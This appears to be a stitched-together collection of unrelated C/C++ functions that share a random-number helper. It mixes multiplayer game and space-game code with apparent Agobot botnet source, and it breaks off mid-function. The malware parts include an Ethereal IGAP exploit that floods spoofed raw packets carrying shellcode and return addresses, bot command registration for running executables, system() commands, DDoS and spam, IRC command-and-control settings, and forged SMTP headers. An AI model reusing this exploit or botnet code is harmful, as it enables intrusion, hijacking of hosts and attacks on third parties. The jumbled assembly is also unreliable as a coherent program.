bool CScannerEthereal::ExploitInt(int iOffset) { char buffer[MAX_BUFF]; ipheader *iphdr=(ipheader*)buffer; igap_header *igaphdr=(igap_header*)(buffer+sizeof(ipheader)); unsigned long magic=targets[iOffset].ret; CString sRandomIp; int one=1; const int *val=&one; sockaddr_in sin; memset(buffer, 0x00, MAX_BUFF); int sockfd=socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if(sockfd==SOCKET_ERROR) return false; if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one))<0) { close(sockfd); return false; } init_random(); sRandomIp.Format("%d.%d.%d.%d", brandom(0, 255), brandom(0, 255), brandom(0, 255), brandom(0, 255)); sin.sin_addr.s_addr=inet_addr(m_sSocket.m_szHost); sin.sin_family=AF_INET; sin.sin_port=0x00; iphdr->ip_hl=0x05; iphdr->ip_v=0x04; iphdr->ip_tos=0x00; iphdr->ip_len=MAX_BUFF; iphdr->ip_id=htonl(54321); iphdr->ip_off=0x00; iphdr->ip_ttl=0x01; iphdr->ip_proto=IPPROTO_IGAP; iphdr->ip_sum=0x00; iphdr->ip_src=inet_addr(sRandomIp.CStr()); iphdr->ip_dst=inet_addr(m_sSocket.m_szHost); if(iphdr->ip_src==SOCKET_ERROR || iphdr->ip_dst==SOCKET_ERROR) { close(sockfd); return false; } igaphdr->igap_type=0x41; igaphdr->igap_restime=0x0a; igaphdr->igap_cksum=0x00; igaphdr->igap_gaddr=0x00; igaphdr->igap_ver=0x01; igaphdr->igap_stype=0x21; igaphdr->igap_reserved1=0x00; igaphdr->igap_cid=0x00; igaphdr->igap_asize=0x10; igaphdr->igap_msgsize=0x40+PAYLOAD_SIZE; igaphdr->igap_reserved2=0x00; memset(igaphdr->igap_payload, 0x90, 16+64+PAYLOAD_SIZE); memcpy(igaphdr->igap_payload+16+RETOFFSET-strlen(shellcode_firsthalf)-8, shellcode_firsthalf, strlen(shellcode_firsthalf)); memcpy(igaphdr->igap_payload+16+64+RETOFFSET-strlen(jumpcode)-4, jumpcode, strlen(jumpcode)); memcpy(igaphdr->igap_payload+16+64+RETOFFSET, &magic, 4); magic-=0x10; memcpy(igaphdr->igap_payload+16+64+RETOFFSET-4, &magic, 4); memcpy(igaphdr->igap_payload+16+64+PAYLOAD_SIZE-strlen(shellcode_secondhalf)-1, shellcode_secondhalf, strlen(shellcode_secondhalf)); igaphdr->igap_cksum=checksum((unsigned short*)(buffer+sizeof(struct ipheader)), (sizeof(struct igap_header))>>1); iphdr->ip_sum=checksum((unsigned short*)buffer, (iphdr->ip_len)>>1); one=MAX_PACKET; while(one) { sendto(sockfd, buffer, MAX_BUFF, 0, (sockaddr*)&sin, sizeof(sin)); one--; } close(sockfd); return true; }
/* * TV_Upstream_AutoRecordName */ static const char *TV_Upstream_AutoRecordName( upstream_t *upstream, char *name, size_t name_size ) { const char *gametype; char datetime[32]; char matchname[MAX_CONFIGSTRING_CHARS]; time_t long_time; struct tm *newtime; // date & time time( &long_time ); newtime = localtime( &long_time ); Q_snprintfz( datetime, sizeof( datetime ), "%04d-%02d-%02d_%02d-%02d", newtime->tm_year + 1900, newtime->tm_mon+1, newtime->tm_mday, newtime->tm_hour, newtime->tm_min ); Q_strncpyz( matchname, upstream->configstrings[CS_MATCHNAME], sizeof( matchname ) ); if( matchname[0] != '\0') { char *t = strstr( matchname, " vs " ); if( t ) memcpy( t, "_vs_", strlen( "_vs_" ) ); Q_strncpyz( matchname, COM_RemoveJunkChars( COM_RemoveColorTokens( matchname ) ), sizeof( matchname ) ); } // combine gametype = upstream->configstrings[CS_GAMETYPENAME]; Q_snprintfz( name, name_size, "%s_%s_%s%s%s_auto%04i", datetime, gametype, upstream->levelname, matchname[0] ? "_" : "", matchname, (int)brandom( 0, 9999 ) ); return name; }
CNetRange *GetNetRange(list<CNetRange> &plNetRanges) { g_mScanner.Lock(); int iHighestScore=0; CNetRange *pNetRange=NULL; for(list<CNetRange>::iterator in=plNetRanges.begin(); in!=plNetRanges.end(); in++) { int iScore=brandom(0, (*in).iPriority); if(iScore > iHighestScore) { iHighestScore=iScore; pNetRange=&(*in); } } g_mScanner.Unlock(); return pNetRange; }
/* * CG_Event_Pain */ void CG_Event_Pain( entity_state_t *state, int parm ) { if( parm == PAIN_WARSHELL ) { if( ISVIEWERENTITY( state->number ) ) trap_S_StartGlobalSound( CG_MediaSfx( cgs.media.sfxShellHit ), CHAN_PAIN, cg_volume_players->value ); else trap_S_StartRelativeSound( CG_MediaSfx( cgs.media.sfxShellHit ), state->number, CHAN_PAIN, cg_volume_players->value, ATTN_NORM ); } else { CG_SexedSound( state->number, CHAN_PAIN, va( S_PLAYER_PAINS, 25*( parm+1 ) ), cg_volume_players->value ); } switch( (int)brandom( 0, 3 ) ) { case 0: CG_PModel_AddAnimation( state->number, 0, TORSO_PAIN1, 0, EVENT_CHANNEL ); break; case 1: CG_PModel_AddAnimation( state->number, 0, TORSO_PAIN2, 0, EVENT_CHANNEL ); break; case 2: default: CG_PModel_AddAnimation( state->number, 0, TORSO_PAIN3, 0, EVENT_CHANNEL ); break; } }
/* * CG_SC_RaceDemoName */ static const char *CG_SC_RaceDemoName( unsigned int raceTime ) { unsigned int hour, min, sec, milli; static char name[MAX_STRING_CHARS]; char mapname[MAX_CONFIGSTRING_CHARS]; milli = raceTime; hour = milli/3600000; milli -= hour*3600000; min = milli/60000; milli -= min*60000; sec = milli/1000; milli -= sec*1000; // lowercase mapname Q_strncpyz( mapname, cgs.configStrings[CS_MAPNAME], sizeof( mapname ) ); Q_strlwr( mapname ); // make file path // "gametype/map/map_time_random" Q_snprintfz( name, sizeof( name ), "%s/%s/%s_%02u-%02u-%02u-%003u_%04i", gs.gametypeName, mapname, mapname, hour, min, sec, milli, (int)brandom( 0, 9999 ) ); return name; }
/** Function to compare two Missions * * Orders by date and budget * * \param * \param * * \return -1 if first date earlier than second * \return 0 if date and budget are the same * \return 1 if first budget is lower than second */ static int cmp_order(const void *p1, const void *p2) { struct order *o1 = (struct order *) p1; struct order *o2 = (struct order *) p2; if (o1->date < o2->date) { return -1; } else if (o1->date == o2->date) { if (o1->budget > o2->budget) { return -1; } else if (o1->budget == o2->budget) { char whoFirst = brandom(2); if (whoFirst == 1) { return 1; } else { return -1; } } else { return 1; } } else { return 1; } }
void CBot::Init() { init_random(); CString sTemp; sTemp.Format("%d", brandom(500, 22226)); CString sTempFTP; sTempFTP.Format("%d", brandom(500, 22226)); REGCVAR(bot_ftrans_port, sTemp.CStr(), "Bot - File Transfer Port", false, false, 0 ); REGCVAR(bot_ftrans_port_ftp, sTempFTP.CStr(), "Bot - File Transfer Port for FTP", false, false, 0 ); REGCVAR(si_chanpass, "", "Server Info - Channel Password", false, false, 0 ); REGCVAR(si_mainchan, "", "Server Info - Main Channel", false, false, 0 ); REGCVAR(si_nickprefix, "", "Server Info - Nickname prefix", false, false, 0 ); REGCVAR(si_port, "", "Server Info - Server Port", false, false, 0 ); REGCVAR(si_server, "", "Server Info - Server Address", false, false, 0 ); REGCVAR(si_servpass, "", "Server Info - Server Password", false, false, 0 ); REGCVAR(si_usessl, "", "Server Info - Use SSL ?", false, false, 0 ); Config(); REGCMD(m_cmdAbout, "bot.about", "...", false, this); REGCMD(m_cmdDie, "bot.die", "terminates the bot", false, this); REGCMD(m_cmdDns, "bot.dns", "resolves ip/hostname by dns", false, this); REGCMD(m_cmdExecute, "bot.execute", "makes the bot execute a .exe", false, this); REGCMD(m_cmdId, "bot.id", "displays the id of the current code", false, this); REGCMD(m_cmdNick, "bot.nick", "changes the nickname of the bot", false, this); REGCMD(m_cmdOpen, "bot.open", "opens a file (whatever)", false, this); REGCMD(m_cmdRemove, "bot.remove", "removes the bot", false, this); REGCMD(m_cmdRemoveAllBut, "bot.removeallbut", "removes the bot if id does not match", false, this); REGCMD(m_cmdRndNick, "bot.rndnick", "makes the bot generate a new random nick", false, this); REGCMD(m_cmdStatus, "bot.status", "gives status", false, this); REGCMD(m_cmdSysInfo, "bot.sysinfo", "displays the system info", false, this); REGCMD(m_cmdLongUptime, "bot.longuptime", "If uptime > 7 days then bot will respond", false, this); REGCMD(m_cmdQuit, "bot.quit", "quits the bot", false, this); REGCMD(m_cmdFlushDNS, "bot.flushdns", "flushes the bots dns cache", false, this); REGCMD(m_cmdSecure, "bot.secure", "delete shares / disable dcom", false, this); REGCMD(m_cmdUnSecure, "bot.unsecure", "enable shares / enable dcom", false, this); REGCMD(m_cmdCommand, "bot.command", "runs a command with system()", false, this); CString sRndNick=RndNick(si_nickprefix.sValue.CStr()); g_pMainCtrl->m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr()); m_lStartTime=(unsigned long)GetTickCount()/1000; }
void ProgramVoting(char plr) { int i = 0; i = brandom(100); if (i < 65) { Data->P[plr].AIPrim = 8; } else { Data->P[plr].AIPrim = 9; } return; }
void CG_SmallPileOfGibs( vec3_t origin, int damage, const vec3_t initialVelocity ) { lentity_t *le; int i, count; float mass; vec3_t angles, velocity; int time; float baseangle = random() * 2 * M_PI; float radialspeed = 5.0f * damage; if( !cg_gibs->integer ) return; clamp( radialspeed, 50.0f, 100.0f ); time = 15; mass = 120; count = cg_gibs->integer; clamp( count, 10, 128 ); VectorCopy( initialVelocity, velocity ); // clip gib velocity clamp( velocity[0], -100, 100 ); clamp( velocity[1], -100, 100 ); clamp( velocity[2], 100, 500 ); // always some upwards for( i = 0; i < count; i++ ) { le = CG_AllocModel( LE_NO_FADE, origin, vec3_origin, time + time * random(), 1, 1, 1, 1, 0, 0, 0, 0, CG_MediaModel( cgs.media.modTechyGibs[MAX_BIG_TECHY_GIBS + (((int)brandom( 0, MAX_SMALL_TECHY_GIBS )) % MAX_SMALL_TECHY_GIBS)] ), NULL ); VectorSet( angles, crandom() * 360, crandom() * 360, crandom() * 360 ); AnglesToAxis( angles, le->ent.axis ); le->ent.scale = 1.0 + ( random() * 0.5f ); le->ent.renderfx = RF_FULLBRIGHT|RF_NOSHADOW; le->velocity[0] = velocity[0] + ( cos( baseangle + M_PI * 2 * (float)(i) / (float)(count) ) * radialspeed ) + crandom() * radialspeed * 0.5f; le->velocity[1] = velocity[1] + ( sin( baseangle + M_PI * 2 * (float)(i) / (float)(count) ) * radialspeed ) + crandom() * radialspeed * 0.5f; le->velocity[2] = velocity[2] + 125 + crandom() * radialspeed; VectorSet( le->accel, -0.2f, -0.2f, -900 ); le->bounce = 35; } CG_ImpactPuffParticles( origin, vec3_origin, 16, 2.5f, 1, 0.5, 0, 1, NULL ); }
CString GetHost(CNetRange *pNetRange) { if(!pNetRange) return CString(""); CString sRetVal; g_mScanner.Lock(); switch(pNetRange->iNetMask) { case 0: sRetVal.Format("%d.%d.%d.%d", brandom(0, 255), brandom(0, 255), brandom(0, 255), brandom(0, 255) ); break; case 8: sRetVal.Format("%d.%d.%d.%d", pNetRange->iPart1, brandom(0, 255), brandom(0, 255), brandom(0, 255) ); break; case 16: sRetVal.Format("%d.%d.%d.%d", pNetRange->iPart1, pNetRange->iPart2, brandom(0, 255), brandom(0, 255) ); break; case 24: sRetVal.Format("%d.%d.%d.%d", pNetRange->iPart1, pNetRange->iPart2, pNetRange->iPart3, brandom(0, 255) ); break; default: case 32: sRetVal.Format("%d.%d.%d.%d", pNetRange->iPart1, pNetRange->iPart2, pNetRange->iPart3, pNetRange->iPart4 ); break; } g_mScanner.Unlock(); return sRetVal; }
void MoonVoting(char plr) { int high = -1, val; val = brandom(100) + 1; if (val < 70) { high = 0; } else if (val < 78) { high = 1; } else if (val < 92) { high = 2; } else { high = 3; } if (high != -1) { switch (high) { case 0: Data->P[plr].AILunar = 1; PickModule(plr); MoonProgram(plr, 1); break; case 1: Data->P[plr].AILunar = 2; PickModule(plr); MoonProgram(plr, 2); break; case 2: Data->P[plr].AILunar = 3; PickModule(plr); MoonProgram(plr, 3); break; case 3: Data->P[plr].AILunar = 4; MoonProgram(plr, 4); break; default: break; } } return; }
//========================================== // BOT_DoSpawnBot // Spawn the bot //========================================== static void BOT_DoSpawnBot( void ) { char userinfo[MAX_INFO_STRING]; int entNum; edict_t *ent; static char fakeSocketType[] = "loopback"; static char fakeIP[] = "127.0.0.1"; int bot_pers; if( !nav.loaded ) { Com_Printf( "AI: Can't spawn bots without a valid navigation file\n" ); if( g_numbots->integer ) trap_Cvar_Set( "g_numbots", "0" ); return; } if( sv_botpersonality->integer ) bot_pers = sv_botpersonality->integer % BOT_NUMCHARACTERS; else bot_pers = (int)brandom( 0, BOT_NUMCHARACTERS ) % BOT_NUMCHARACTERS; BOT_CreateUserinfo( userinfo, sizeof( userinfo ), bot_pers ); entNum = trap_FakeClientConnect( userinfo, fakeSocketType, fakeIP ); if( entNum < 1 ) { // 0 is worldspawn, -1 is error Com_Printf( "AI: Can't spawn the fake client\n" ); return; } ent = &game.edicts[entNum]; G_SpawnAI( ent ); //init this bot ent->ai->pers.cha = bot_personalities[ bot_pers ]; BOT_InitPersistant( ent ); //set up for Spawn BOT_Respawn( ent ); //stay as spectator, give random time for joining ent->nextThink = level.time + random() * 8000; }
/* * CG_SC_AutoRecordName */ static const char *CG_SC_AutoRecordName( void ) { time_t long_time; struct tm *newtime; static char name[MAX_STRING_CHARS]; char mapname[MAX_CONFIGSTRING_CHARS]; const char *cleanplayername, *cleanplayername2; // get date from system time( &long_time ); newtime = localtime( &long_time ); if( cg.view.POVent <= 0 ) { cleanplayername2 = ""; } else { // remove color tokens from player names (doh) cleanplayername = COM_RemoveColorTokens( cgs.clientInfo[cg.view.POVent-1].name ); // remove junk chars from player names for files cleanplayername2 = COM_RemoveJunkChars( cleanplayername ); } // lowercase mapname Q_strncpyz( mapname, cgs.configStrings[CS_MAPNAME], sizeof( mapname ) ); Q_strlwr( mapname ); // make file name // duel_year-month-day_hour-min_map_player Q_snprintfz( name, sizeof( name ), "%s_%04d-%02d-%02d_%02d-%02d_%s_%s_%04i", gs.gametypeName, newtime->tm_year + 1900, newtime->tm_mon+1, newtime->tm_mday, newtime->tm_hour, newtime->tm_min, mapname, cleanplayername2, (int)brandom( 0, 9999 ) ); return name; }
/* * G_SpawnQueue_SetTeamSpawnsystem */ void G_SpawnQueue_SetTeamSpawnsystem( int team, int spawnsystem, int wave_time, int wave_maxcount, bool spectate_team ) { g_teamspawnqueue_t *queue; if( team < TEAM_SPECTATOR || team >= GS_MAX_TEAMS ) return; queue = &g_spawnQueues[team]; if( queue->system == spawnsystem ) return; if( wave_time && wave_time != queue->wave_time ) queue->nextWaveTime = level.time + brandom( 0, wave_time * 1000 ); queue->system = spawnsystem; queue->wave_time = wave_time; queue->wave_maxcount = wave_maxcount; if( spawnsystem != SPAWNSYSTEM_INSTANT ) queue->spectate_team = spectate_team; }
void G_Gametype_GENERIC_SetUpMatch( void ) { int i; level.gametype.readyAnnouncementEnabled = false; level.gametype.scoreAnnouncementEnabled = true; level.gametype.countdownEnabled = true; level.gametype.pickableItemsMask = ( level.gametype.spawnableItemsMask|level.gametype.dropableItemsMask ); if( GS_Instagib() ) level.gametype.pickableItemsMask &= ~G_INSTAGIB_NEGATE_ITEMMASK; // clear player stats and scores, team scores and respawn clients in team lists for( i = TEAM_PLAYERS; i < GS_MAX_TEAMS; i++ ) { int j; g_teamlist_t *team = &teamlist[i]; memset( &team->stats, 0, sizeof( team->stats ) ); // respawn all clients inside the playing teams for( j = 0; j < team->numplayers; j++ ) { edict_t *ent = &game.edicts[ team->playerIndices[j] ]; G_ClientClearStats( ent ); G_ClientRespawn( ent, false ); } } // set items to be spawned with a delay G_Items_RespawnByType( IT_ARMOR, ARMOR_RA, 15 ); G_Items_RespawnByType( IT_ARMOR, ARMOR_RA, 15 ); G_Items_RespawnByType( IT_HEALTH, HEALTH_MEGA, 15 ); G_Items_RespawnByType( IT_HEALTH, HEALTH_ULTRA, 15 ); G_Items_RespawnByType( IT_POWERUP, 0, brandom( 20, 40 ) ); G_Match_FreeBodyQueue(); G_AnnouncerSound( NULL, trap_SoundIndex( va( S_ANNOUNCER_COUNTDOWN_FIGHT_1_to_2, ( rand()&1 )+1 ) ), GS_MAX_TEAMS, false, NULL ); G_CenterPrintMsg( NULL, "FIGHT!" ); }
CString GenerateID() { // E1AOkjD-0001RE-00 CString sID; sID.Assign(" - - "); for(int i=0; i<7; i++) { int iType=brandom(1,3); switch(iType) { case 1: // Uppercase letter sID[i]=brandom(65, 90); break; case 2: // Lowercase letter sID[i]=brandom(97, 122); break; case 3: // Number sID[i]=brandom(48, 57); break; } } for(i=8; i<12; i++) { // Number sID[i]=brandom(48, 57); } for(i=12; i<14; i++) { // Uppercase letter sID[i]=brandom(65, 90); } for(i=15; i<17; i++) { // Number sID[i]=brandom(48, 57); } return CString(""); }
//========================================== // BOT_DMclass_ChooseWeapon // Choose weapon based on range & weights //========================================== static float BOT_DMclass_ChooseWeapon( edict_t *self ) { float dist; int i; float best_weight = 0.0; gsitem_t *weaponItem; int curweapon, weapon_range = 0, best_weapon = WEAP_NONE; curweapon = self->r.client->ps.stats[STAT_PENDING_WEAPON]; // if no enemy, then what are we doing here? if( !self->enemy ) { weapon_range = AIWEAP_MEDIUM_RANGE; if( curweapon == WEAP_GUNBLADE || curweapon == WEAP_NONE ) self->ai->changeweapon_timeout = level.time; } else // Base weapon selection on distance: { dist = DistanceFast( self->s.origin, self->enemy->s.origin ); if( dist < 150 ) weapon_range = AIWEAP_MELEE_RANGE; else if( dist < 500 ) // Medium range limit is Grenade launcher range weapon_range = AIWEAP_SHORT_RANGE; else if( dist < 900 ) weapon_range = AIWEAP_MEDIUM_RANGE; else weapon_range = AIWEAP_LONG_RANGE; } if( self->ai->changeweapon_timeout > level.time ) return AIWeapons[curweapon].RangeWeight[weapon_range]; for( i = WEAP_GUNBLADE; i < WEAP_TOTAL; i++ ) { float rangeWeight; if( ( weaponItem = GS_FindItemByTag( i ) ) == NULL ) continue; if( !GS_CheckAmmoInWeapon( &self->r.client->ps, i ) ) continue; rangeWeight = AIWeapons[i].RangeWeight[weapon_range] * self->ai->pers.cha.weapon_affinity[i - ( WEAP_GUNBLADE - 1 )]; // weigh up if having strong ammo if( self->r.client->ps.inventory[weaponItem->ammo_tag] ) rangeWeight *= 1.25; // add a small random factor (less random the more skill) rangeWeight += brandom( -( 1.0 - self->ai->pers.skillLevel ), 1.0 - self->ai->pers.skillLevel ); // compare range weights if( rangeWeight > best_weight ) { best_weight = rangeWeight; best_weapon = i; } } // do the change (same weapon, or null best_weapon is covered at ChangeWeapon) if( best_weapon != WEAP_NONE ) BOT_DMClass_ChangeWeapon( self, best_weapon ); return AIWeapons[curweapon].RangeWeight[weapon_range]; // return current }
/* * G_Match_Autorecord_Start */ void G_Match_Autorecord_Start( void ) { int team, i, playerCount; G_Match_SetAutorecordState( "start" ); // do not start autorecording if all playing clients are bots for( playerCount = 0, team = TEAM_PLAYERS; team < GS_MAX_TEAMS; team++ ) { // add our team info to the string for( i = 0; i < teamlist[team].numplayers; i++ ) { if( game.edicts[ teamlist[team].playerIndices[i] ].r.svflags & SVF_FAKECLIENT ) continue; playerCount++; break; // we only need one for this check } } if( playerCount && g_autorecord->integer ) { char datetime[17], players[MAX_STRING_CHARS]; time_t long_time; struct tm *newtime; // date & time time( &long_time ); newtime = localtime( &long_time ); Q_snprintfz( datetime, sizeof( datetime ), "%04d-%02d-%02d_%02d-%02d", newtime->tm_year + 1900, newtime->tm_mon+1, newtime->tm_mday, newtime->tm_hour, newtime->tm_min ); // list of players Q_strncpyz( players, trap_GetConfigString( CS_MATCHNAME ), sizeof( players ) ); if( players[0] == '\0' ) { if( GS_InvidualGameType() ) { const char *netname; int team; edict_t *ent; for( team = TEAM_ALPHA; team < GS_MAX_TEAMS; team++ ) { if( !teamlist[team].numplayers ) continue; ent = game.edicts + teamlist[team].playerIndices[0]; netname = ent->r.client->netname; Q_strncatz( players, netname, sizeof( players ) ); if( team != GS_MAX_TEAMS - 1 ) Q_strncatz( players, " vs ", sizeof( players ) ); } } } if( players[0] != '\0' ) { char *t = strstr( players, " vs " ); if( t ) memcpy( t, "_vs_", strlen( "_vs_" ) ); Q_strncpyz( players, COM_RemoveJunkChars( COM_RemoveColorTokens( players ) ), sizeof( players ) ); } // combine Q_snprintfz( level.autorecord_name, sizeof( level.autorecord_name ), "%s_%s_%s%s%s_auto%04i", datetime, gs.gametypeName, level.mapname, players[0] == '\0' ? "" : "_", players, (int)brandom( 1, 9999 ) ); trap_Cmd_ExecuteText( EXEC_APPEND, va( "serverrecord %s\n", level.autorecord_name ) ); } }
void CBot::Config() { init_random(); int iCryptKey=10; CString sTemp; sTemp.Format("%d", brandom(500, 22226)); g_cMainCtrl.m_cCVar.RegisterCvar(&bot_compnick,"bot_compnick","false","CompName Generated Nick",false,false,0); // The root server, this will be the most often used one g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServerRoot.si_chanpass, "si_server_root.chanpass", \ "", "Server Info - Channel Password", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServerRoot.si_mainchan, "si_server_root.mainchan", \ "#channel", "Server Info - Main Channel", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServerRoot.si_nickprefix, "si_server_root.nickprefix", \ "Ago-", "Server Info - Nickname prefix", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServerRoot.si_port, "si_server_root.port", \ "6667", "Server Info - Server Port", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServerRoot.si_server, "si_server_root.server", \ "irc.somewhere.org", "Server Info - Server Address", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServerRoot.si_servpass, "si_server_root.servpass", \ "", "Server Info - Server Password", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServerRoot.si_usessl, "si_server_root.use_ssl", \ "false", "Server Info - Use SSL ?", false, false, 0 ); g_cMainCtrl.m_cIRC.m_vServers.push_back(&m_isServerRoot); // Backup server 0 g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServer0.si_chanpass, "si_server_0.chanpass", \ "", "Server Info - Channel Password", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServer0.si_mainchan, "si_server_0.mainchan", \ "#channel", "Server Info - Main Channel", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServer0.si_nickprefix, "si_server_0.nickprefix", \ "Ago-", "Server Info - Nickname prefix", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServer0.si_port, "si_server_0.port", \ "6667", "Server Info - Server Port", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServer0.si_server, "si_server_0.server", \ "irc2.somewhere.org", "Server Info - Server Address", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServer0.si_servpass, "si_server_0.servpass", \ "", "Server Info - Server Password", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&m_isServer0.si_usessl, "si_server_0.use_ssl", \ "false", "Server Info - Use SSL ?", false, false, 0 ); g_cMainCtrl.m_cIRC.m_vServers.push_back(&m_isServer0); g_cMainCtrl.m_cCVar.RegisterCvar(&si_chanpass, "si_chanpass", "", "Server Info - Channel Password", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&si_mainchan, "si_mainchan", "", "Server Info - Main Channel", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&si_nickprefix, "si_nickprefix", "", "Server Info - Nickname prefix", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&si_port, "si_port", "", "Server Info - Server Port", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&si_server, "si_server", "", "Server Info - Server Address", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&si_servpass, "si_servpass", "", "Server Info - Server Password", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&si_usessl, "si_usessl", "", "Server Info - Use SSL ?", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&si_nick, "si_nick", "", "Server Info - Nickname", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&bot_version, "bot_version", VERSION_AGOBOT, "Bot - Version", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&bot_filename, "bot_filename", "filename.exe", "Bot - Runtime Filename", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&bot_id, "bot_id", "a3-100", "Bot - Current ID", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&bot_prefix, "bot_prefix", ".", "Bot - Command Prefix", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&bot_ftrans_port, "bot_ftrans_port", sTemp.CStr(), "Bot - File Transfer Port", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&bot_timeout, "bot_timeout", "720000", "Bot - Timeout for receiving in miliseconds", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&bot_seclogin, "bot_seclogin", "false", "Bot - Enable login only by channel messages", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&bot_compnick, "bot_compnick", "false", "Bot - Use the computer name as a nickname", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&as_valname, "as_valname", "Configuration Loader", "Autostart - Value Name", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&as_enabled, "as_enabled", "true", "Autostart - Enabled", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&scan_maxthreads, "scan_maxthreads", "100", "Scanner - Maximum Number of threads", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&scan_auto, "scan_auto", "true", "Scanner - Autoscan local network", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&scan_auto, "scan_auto_nb", "true", "Scanner - Autoscan LAN for NetBIOS", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&ddos_maxthreads, "ddos_maxthreads", "100", "DDOS - Maximum Number of threads", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&redir_maxthreads, "redir_maxthreads", "100", "Redirect - Maximum Number of threads", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&identd_enabled, "identd_enabled", "false", "IdentD - Enable the server", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&spam_aol_channel, "spam_aol_channel", "#aolspam", "AOL Spam - Channel name", false, false, 0 ); g_cMainCtrl.m_cCVar.RegisterCvar(&spam_aol_enabled, "spam_aol_enabled", "true", "AOL Spam - Channel name", false, false, 0 ); g_cMainCtrl.m_cCVar.SetCVar(&g_cMainCtrl.m_cBot.si_chanpass, g_cMainCtrl.m_cIRC.m_vServers.at(0)->si_chanpass.sValue.CStr()); g_cMainCtrl.m_cCVar.SetCVar(&g_cMainCtrl.m_cBot.si_mainchan, g_cMainCtrl.m_cIRC.m_vServers.at(0)->si_mainchan.sValue.CStr()); g_cMainCtrl.m_cCVar.SetCVar(&g_cMainCtrl.m_cBot.si_nickprefix, g_cMainCtrl.m_cIRC.m_vServers.at(0)->si_nickprefix.sValue.CStr()); g_cMainCtrl.m_cCVar.SetCVar(&g_cMainCtrl.m_cBot.si_port, g_cMainCtrl.m_cIRC.m_vServers.at(0)->si_port.sValue.CStr()); g_cMainCtrl.m_cCVar.SetCVar(&g_cMainCtrl.m_cBot.si_server, g_cMainCtrl.m_cIRC.m_vServers.at(0)->si_server.sValue.CStr()); g_cMainCtrl.m_cCVar.SetCVar(&g_cMainCtrl.m_cBot.si_servpass, g_cMainCtrl.m_cIRC.m_vServers.at(0)->si_servpass.sValue.CStr()); g_cMainCtrl.m_cCVar.SetCVar(&g_cMainCtrl.m_cBot.si_usessl, g_cMainCtrl.m_cIRC.m_vServers.at(0)->si_usessl.sValue.CStr()); // Use MD5 Passwords, for security reasons g_cMainCtrl.m_cMac.AddUser("User", "MYMD5HASHWILLBEBIGBADANDLONGHEHE", "Netmask.Net", "" ); // "password" }
CSMTP_Connection::CSMTP_Connection() { // Clear server socket and reset values m_sServerSocket=SOCKET_ERROR; m_bConnected=false; m_bUseSMTPExt=false; m_iMTAType=brandom(MTA_TYPE_UNKNOWN, MTA_TYPE_QMAIL); }
bool CSMTP_Connection::Mail(CString sMailFrom, CString sMailFromFull, CString sRcptTo, CString sSubject, CString sData) { CString sReqBuf, sRecvBuf, sHost, sSrcID, sMTA, sOS; init_random(); m_iMTAType=brandom(MTA_TYPE_UNKNOWN, MTA_TYPE_QMAIL); switch(brandom(1,5)) { case 1: sOS.Assign("Debian"); break; case 2: sOS.Assign("RedHat"); break; case 3: sOS.Assign("SuSE"); break; case 4: sOS.Assign("Slackware"); break; case 5: sOS.Assign("FreeBSD"); break; default: sOS.Assign("Unknown"); break; } switch(m_iMTAType) { case MTA_TYPE_UNKNOWN: { CString sVersionHigh, sVersionLow, sNumber; sVersionHigh.Assign(brandom(3, 4)); sVersionLow.Assign(brandom(1, 40)); sMTA.Format("SMTP %s.%s (%s)", sVersionHigh.CStr(), sVersionLow.CStr(), sOS.CStr()); } break; case MTA_TYPE_EXIM: { CString sVersionHigh, sVersionLow, sNumber; sVersionHigh.Assign(brandom(3, 4)); sVersionLow.Assign(brandom(1, 40)); sNumber.Assign(brandom(1, 5)); sMTA.Format("Exim %s.%s #%s (%s)", sVersionHigh.CStr(), sVersionLow.CStr(), sNumber.CStr(), sOS.CStr()); } break; case MTA_TYPE_SENDMAIL: { CString sVersionHigh, sVersionLow, sVersionLow2; sVersionHigh.Assign(brandom(1, 12)); sVersionLow.Assign(brandom(1, 10)); sVersionLow2.Assign(brandom(1, 10)); sMTA.Format("8.%s.%s/8.%s.%s", sVersionHigh.CStr(), sVersionLow.CStr(), 